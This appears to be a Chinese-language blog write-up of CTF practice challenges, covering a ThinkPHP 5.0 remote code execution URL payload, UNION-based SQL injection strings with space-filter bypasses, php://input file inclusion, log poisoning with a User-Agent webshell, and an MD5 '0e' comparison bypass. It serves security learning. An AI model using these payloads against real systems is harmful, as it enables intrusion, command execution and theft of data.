攻防世界（进阶刷题)php_rce 以及ctf.show注入通关

目录

php_rce

NewsCenter

ctf.show_web3

ctf.show_web4

ctf.show_web5

ctf.show_web6

 ctf.show_web7

---

---

php_rce

这道题考察php远程漏洞问题

打开界面一看，

然后看师傅们的wp都是直接去，github去查Think PHP V5漏洞

然后随便找了一个输了进去发现，提示我们要用5.02的版本漏洞

6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

 

 

 一直 ls ../../../查询根目录发现，flag 然后用find查找一下和flag相关的文件

格式为：find / -name "flag"

 发现flag的目录下面，还是flag，这时候可以直接采用cat查找

格式为： cat /flag  或者 tac /flag

 到这里就结束了，总结一下：步骤为-->找到相应版本漏洞-->然后进行查目录-->最后查flag

NewsCenter

 打开以后看见界面，一个文本框猜测是sql注入，然后验证时什么注入

1.首先进行列的判断，' order by 3 #     注释：#的作用时注释后面的内容，也可以用--+测试一下哪个没报错，报错说明被过滤掉了

先测试输入1产生回显，1'出现 http error 500报错，说明这是一个字符型的注入

 

查看回显位置。

' union select 1,database(),3 #

数据库出来以后，就看表名 

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

 查到表名，然后查询字段就可以了

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

' union select 1,fl4g,3 from secret_table #

 一个简单的联合注入就结束了！

ctf.show_web3

打开文件发现，include包含，想到了文件包含漏洞，然后就需要用到伪协议 

试了一下直接在url上，php://input不出现结果然后抓包

system('ls')是系统命令查看当前目录下的所有文件，然后需要和上面空一行否则不执行

 

感觉flag就在ctf_go_go_go这个文件中，直接访问

 

ctf.show_web4

 尝试各种伪协议都是报错，就换一种思路

 看了大佬的wp写的是日记注入，?url=/etc/passwd

发现成功显示出文件内容，那么尝试查看日志看看,?url=/var/log/nginx/access.log

 尝试修改header，在header中User-Agent写马并使用蚁剑连接日志目录，得到flag

 直接Forward，传入一句话木马后，用蚁建链接。用url（为日记的地址）就可以，密码为shell

 在目录下面找到flag,结束

ctf.show_web5

    
    
    


    
    
ctf.show_web5
    

    

    
    

然后看见md5知道考察，?v1=QNKCDZO&v2=240610708

QNKCDZO 的md5值为 0e830400451993494058024219903391

240610708 的md5值为 0e462097431906509019562988736854

分别满足纯字母和数字字符串,并且md5值以0e开头,而0e开头的字符串参与比较(==)时,会转化为0,也就是 0==0,返回true使if判断成立,从而输出flag

ctf.show_web6

打开界面发现也是一道sql注入的题，但这道题过滤了空格 用 /**/ 或（）代替就可

 看见报错，感觉是空格过滤，然后试一下就出来了

 果然，是字符型注入，然后联合注入就得出flag与web3一样

 ctf.show_web7

 打开以后看见链接还不明白然后随便点进去

 发现id在发生变化，感觉是一个sql注入，判断类型

 

 

 如果是字符型注入 1=2会判断正确会有回显，所以这是数值型注入，然后过滤了空格,然后联合注入判断回显位置剩下的你就会了

 这里提醒一下id=-1因为这样显示错误，然后才会往后面查询